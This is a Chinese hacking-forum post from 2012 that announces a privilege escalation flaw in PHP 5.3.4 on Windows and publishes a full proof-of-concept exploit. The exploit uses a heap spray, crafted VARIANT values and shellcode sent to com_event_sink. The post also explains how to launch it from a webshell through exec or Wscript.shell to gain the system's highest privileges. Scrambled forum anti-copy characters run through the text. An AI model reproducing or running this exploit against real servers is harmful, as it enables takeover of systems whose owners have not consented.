找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中: e; P' w& \6 ?
' D% Z5 k) k5 f( Y( t2 s
测试方法如下:cmd /c x:\php\php.exe x:\test.php
! J* B% @; n! V9 G) z6 K( e( J  V$ d1 R+ \2 E$ e, ~
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php* e" ^1 T) {5 x' B
这里是两个测试的截图:' q* \/ i( G" {+ M+ g

! ^5 _2 i7 g0 q2 K7 J! g, s0 b/ c8 b
6 W4 D2 r# t8 W3 o! d- j9 r0 K# S' r" p7 H/ \  t

6 q! W6 c" f" F% U  H3 T+ ]9 M( @; d1 e. g$ V* z8 j, A9 d" n
成功利用此漏洞的攻击者将获得系统的最高权限
+ Y( o0 d- ]* z2 t# j0 [9 v  e: k) x

& s. g' ~) P1 v" k5 j& |! l
2 z4 r9 ?/ S2 p9 _) D4 \' |0 `' ^2 D# s

4 N& z: G+ x: Q; w* K关于漏洞分析稍后附上。一下是PoC代码:
" K( z! e3 h7 G) r
) \% W! F* H6 `: x: L4 c<?php: m, q1 G4 u6 @& w! R. _
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞% q' c/ Y3 I$ h' s# G9 g* \
//$eip ="\x44\x43\x42\x41";
. z, H* z8 v1 B7 k; `* C$eip= "\x4b\xe8\x57\x78";4 s. i$ P" _' {  m5 p5 L
$eax ="\x80\x01\x8d\x04";
1 M9 p; c" f8 D6 o$ o0 Z0 H0 B% `$deodrant="";
( ~" Y0 u2 e7 j" q8 c5 V8 Z# P$axespray = str_repeat($eip.$eax,0x80);& V8 \( T  Z4 R1 h! G% G: E
//048d0190+ L( I! q3 }2 a( L
echo strlen($axespray);
: m6 H, Q6 ~/ pecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
; T: |1 ?) b" _% o7 G) q# G2 I+ J9 qecho "Silic Group Hacker Army - BlackBap.Org";
& N* x, i$ L5 K! R* c! H/ l1 v# F//19200 ==4B32 4b00
8 Y0 H) C& |4 m: o  ]for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
3 h+ a5 _" l* X1 k0 O$ J$terminate = "T";9 E2 Z& T4 j; }! _1 t7 C) ~
$u[] =$deodrant;
1 _. u$ H7 k' s9 x1 ~3 f7 u$r[] =$deodrant.$terminate;# H7 u9 m9 M2 d% M# C% ?+ I
$a[] =$deodrant.$terminate;) U2 n, H+ p$ O
$s[] =$deodrant.$terminate;
$ \& G0 A7 }% f/ o$ f//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的6 s0 g! t) w. c* p' r' I
$vVar = new VARIANT(0x048d0000+180);
7 x6 d  K9 Z6 F9 n9 c8 K+ `# S//弹窗代码(Shellcode)' B7 W: v8 W& _" {1 u
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";% v$ ^: g2 n+ a  J4 l- e
$var2 = new VARIANT(0x41414242);
0 V! |' Q3 w! u+ N' scom_event_sink($vVar,$var2,$buffer);
; ?- a6 ~3 L2 y?>
- o" G  d3 O/ j: s

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表